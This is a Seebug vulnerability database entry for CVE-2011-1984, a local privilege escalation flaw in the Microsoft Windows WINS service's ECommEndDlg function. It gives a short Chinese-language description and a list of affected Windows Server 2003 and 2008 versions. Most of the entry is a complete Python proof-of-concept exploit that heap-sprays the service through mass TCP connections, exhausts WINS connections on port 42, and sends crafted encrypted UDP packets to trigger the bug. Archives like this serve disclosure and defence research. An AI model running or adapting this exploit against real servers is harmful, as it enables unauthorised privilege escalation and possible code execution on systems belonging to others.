Lucene search

K
seebugRootSSV:20925
HistorySep 13, 2011 - 12:00 a.m.

Microsoft Windows WINS Server 'ECommEndDlg()'本地特权提升漏洞

2011-09-1300:00:00
Root
www.seebug.org
17

EPSS

0.001

Percentile

20.1%

Bugtraq ID: 49523
CVE ID:CVE-2011-1984

Microsoft Windows是一款流行的操作系统。
Microsoft Windows WINS存在安全漏洞,如果用户在运行WINS服务,受此漏洞影响的系统上接收到特制WINS复制报文,这个漏洞可允许特权提升。攻击者必须拥有合法登录凭证,本地利用此漏洞。
恶意报文会由MS11-035中报告的ECommEndDlg函数处理,但这次函数处理的指针由攻击者控制。
向WINS服务(绑定在回路地址127.0.0.1)的动态UDP端口发送特制报文可触发此漏洞。在老的win 2003 SP系统上,动态UDP端口版定在0.0.0.0地址,允许任意代码执行。

Microsoft Windows Server 2008 Standard Edition SP2
Microsoft Windows Server 2008 Standard Edition R2 SP1
Microsoft Windows Server 2008 Standard Edition R2
Microsoft Windows Server 2008 Standard Edition Itanium
Microsoft Windows Server 2008 R2 x64 SP1
Microsoft Windows Server 2008 R2 x64 0
Microsoft Windows Server 2008 for x64-based Systems SP2
Microsoft Windows Server 2008 for x64-based Systems R2
Microsoft Windows Server 2008 for x64-based Systems 0
Microsoft Windows Server 2008 for Itanium-based Systems 0
Microsoft Windows Server 2008 for 32-bit Systems SP2
Microsoft Windows Server 2008 for 32-bit Systems 0
Microsoft Windows Server 2008 Enterprise Edition SP2
Microsoft Windows Server 2008 Enterprise Edition 0
Microsoft Windows Server 2008 Datacenter Edition SP2
Microsoft Windows Server 2008 Datacenter Edition 0
Microsoft Windows Server 2003 Standard Edition SP2
Microsoft Windows Server 2003 Standard Edition SP1
Microsoft Windows Server 2003 Standard Edition
Microsoft Windows Server 2003 Itanium SP2
Microsoft Windows Server 2003 Itanium SP1
Microsoft Windows Server 2003 Itanium 0
Microsoft Windows Server 2003 Enterprise x64 Edition SP2
Microsoft Windows Server 2003 Enterprise x64 Edition
Microsoft Windows Server 2003 Enterprise Edition Itanium Sp2 Itanium
Microsoft Windows Server 2003 Enterprise Edition Itanium SP2
Microsoft Windows Server 2003 Enterprise Edition Itanium SP1 Beta 1
Microsoft Windows Server 2003 Enterprise Edition Itanium SP1
Microsoft Windows Server 2003 Enterprise Edition Itanium 0
Microsoft Windows Server 2003 Enterprise Edition SP1
Microsoft Windows Server 2003 Enterprise Edition
Microsoft Windows Server 2003 Datacenter x64 Edition SP2
Microsoft Windows Server 2003 Datacenter x64 Edition
Microsoft Windows Server 2003 Datacenter Edition Itanium SP1 Beta 1
Microsoft Windows Server 2003 Datacenter Edition Itanium SP1
Microsoft Windows Server 2003 Datacenter Edition Itanium 0
Microsoft Windows Server 2003 Datacenter Edition SP1 Beta 1
Microsoft Windows Server 2003 Datacenter Edition SP1
Microsoft Windows Server 2003 Datacenter Edition
Microsoft Windows Server 2003 SP2
Microsoft Windows Server 2003 SP1
Microsoft Windows Server 2008 R2
厂商解决方案
目前没有详细解决方案提供:
http://www.microsoft.com/


                                                ##

import sys
import socket
import struct
import time
import os

from ctypes import *
from ctypes.wintypes import DWORD

LocalFree = windll.kernel32.LocalFree
CryptProtectData = windll.crypt32.CryptProtectData
CryptUnprotectData = windll.crypt32.CryptUnprotectData
memcpy = cdll.msvcrt.memcpy

CRYPTPROTECT_LOCAL_MACHINE = 0x04

class DATA_BLOB(Structure):
     _fields_ = [("cbData", DWORD), ("pbData", POINTER(c_char))]


def get_data(blob):
     cbData = int(blob.cbData)
     pbData = blob.pbData
     buffer = c_buffer(cbData)
     memcpy(buffer, pbData, cbData)
     LocalFree(pbData);
     return buffer.raw

def Win32CryptProtectData(plain):
     buffer = c_buffer(plain, len(plain))
     iblob = DATA_BLOB(len(plain), buffer)
     oblob = DATA_BLOB()
     if CryptProtectData(byref(iblob), u"win32crypto.py", None, None, None, CRYPTPROTECT_LOCAL_MACHINE, byref(oblob)):
         return get_data(oblob)
     else:
         return None

def send_packet (sock, ip, port, message):
    packet = ""
    packet += message
    sock.sendto(packet, (ip, port))

################################################################################

# Check args
if len(sys.argv) != 4:
    print "\nusage: python wins_poc.py wins_tcp_dynamic_port wins_udp_dynamic_port writeable_address(hex)"
    print "\nNote: On Windows 2003, the udp dynamic port is the same number of the tcp port less one"
    sys.exit(0)

# Get ports dinamically
tcp_dynamic_port = int(sys.argv[1])
udp_dynamic_port = int(sys.argv[2])
writeable_address = int(sys.argv[3], 16)

# Target IP
target_ip = "127.0.0.1"

################################################################################

# Create connections to do a heap spray
rpc_connections = []
for i in range(0, 1000):
    try:
        p = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        p.connect((target_ip, tcp_dynamic_port))
        rpc_connections += [p]
    except Exception, e:
        break

# Struct that is validated by WINS
magic_struct  = ""
magic_struct += "a" * 0x0c
magic_struct += struct.pack("I", writeable_address-0x14)
magic_struct += struct.pack("I", 0)
magic_struct += struct.pack("I", 4)
magic_struct += "b" * (0x20-len(magic_struct))
magic_struct += struct.pack("I", 1)
magic_struct += "c" * (0x2c-len(magic_struct))
magic_struct += struct.pack("I", 0x10c00)
magic_struct += "d" * (0x38-len(magic_struct))
magic_struct += struct.pack("I", 0)

# Data con la forma de la estructura que triggerea el bug
data  = ""
data += magic_struct
data += "B" * (0x4000-len(data))
data += "filling"

# Create connections to do a heap spray
for p in rpc_connections:
    try:
        p.send(data)
    except Exception, e:
        pass

# Get to the limit od WINS connections
print "connecting ..."
ps = []
for i in range(0, 300):
    p = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    p.connect((target_ip, 42))
    ps += [p]

# Go through an area 32Kb
for offset in range(0, 0x8000, 4):
    # Data to send
    data  = ""
    data += struct.pack("I", 0)
    data += "A" * 0x0c
    data += struct.pack("I", 0)
    data += struct.pack("I", 0x05000000+offset)

    # Encrypt
    data2 = Win32CryptProtectData(data)

    # Send the poisoned packet
    p = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    send_packet(p, target_ip, udp_dynamic_port, data2)
    p.close ()

# Close all sockects
print "closing TCP connections ..."
for p in ps:
    p.close()

for p in rpc_connections:
    p.close()